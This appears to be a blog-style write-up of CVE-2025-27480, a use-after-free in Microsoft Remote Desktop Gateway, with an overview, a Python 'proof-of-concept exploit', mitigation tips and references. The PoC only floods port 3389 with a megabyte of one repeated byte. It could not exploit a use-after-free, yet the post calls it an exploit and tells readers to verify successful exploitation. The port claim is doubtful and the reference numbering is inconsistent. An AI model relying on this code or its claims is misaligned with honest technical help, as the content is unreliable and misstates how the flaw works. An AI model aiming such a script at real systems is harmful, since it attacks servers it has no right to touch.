A newly discovered vulnerability, identified as CVE-2025-27480, in Microsoft Remote Desktop Gateway service, allows an unauthorized attacker to execute arbitrary code over a network. A use after free issue has been identified as the root cause of this vulnerability. This post presents an in-depth analysis of this vulnerability, mitigation measures, and how to exploit the issue with a proof-of-concept code snippet. The original sources of information are also provided for further reference.

[1] Vulnerability Overview

A use after free issue occurs when a program continues to use a pointer after the associated memory has been freed. The memory can then be allocated by another process, which may grant the attacker control over what data or code is being referenced by the now-dangling pointer. By exploiting CVE-2025-27480, an attacker can gain unauthorized, remote access to a target system, potentially causing severe damage and confidential data theft.

More information on the vulnerability can be found at the National Vulnerability Database (NVD) entry [2] and Microsoft Security Advisory [3].

[2] Proof-of-Concept Exploit

The following code snippet represents a minimal proof-of-concept (PoC) exploit to demonstrate the use-after-free issue in the Remote Desktop Gateway service:

#!/usr/bin/env python3
import socket

TARGET_IP = '192.168.1.1' # Replace with target IP
TARGET_PORT = 3389 # Default port for RD Gateway

payload = b'\x70' * 1024 * 1024 # Crafting the problematic payload

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET_IP, TARGET_PORT))
s.sendall(payload)
response = s.recv(1024)

print("Exploit Sent. Check target to verify successful exploitation.\nResponse:\n{}".format(response))
s.close()

*Please note that this is a demonstration for educational purposes and that actual deployment for malicious intent is strongly discouraged and may lead to legal repercussions.*

Before running the PoC code, ensure that the appropriate target IP is set. The code first creates a payload using the problematic character '\x70', and then connects to the Remote Desktop Gateway service on the target system. The payload is sent and the script waits for a response from the service. The subsequent actions, after sending the payload, will depend on the specific details of the target system's environment.

[3] Mitigation Measures

In order to protect affected systems from being exploited by this vulnerability, it is recommended to:

- Apply the latest security updates released by Microsoft, as mentioned in their Security Advisory [3]. These updates address the vulnerability by properly handling memory objects.
- Restrict access to Remote Desktop Gateway services by using firewalls, VPNs, or other security measures to prevent unauthorized access.
- Monitor for suspicious network activity that may indicate exploitation attempts, and promptly report any findings to the appropriate party responsible for incident response.

Conclusion

The CVE-2025-27480 vulnerability in the Remote Desktop Gateway service is of concern since it allows remote, unauthorized code execution on affected systems. This article has provided a comprehensive description of the vulnerability, demonstrated a proof-of-concept exploit, and divulged mitigation measures to protect your systems. For the latest updates and patches for this vulnerability, follow the original references provided [2][3].

References

[1] National Vulnerability Database (NVD): https://nvd.nist.gov/vuln/detail/CVE-2025-27480
[2] MITRE CVE page: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-27480
[3] Microsoft Security Advisory: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2025-27480

Timeline

Published on: 04/08/2025 18:15:58 UTC
Last modified on: 04/30/2025 17:14:23 UTC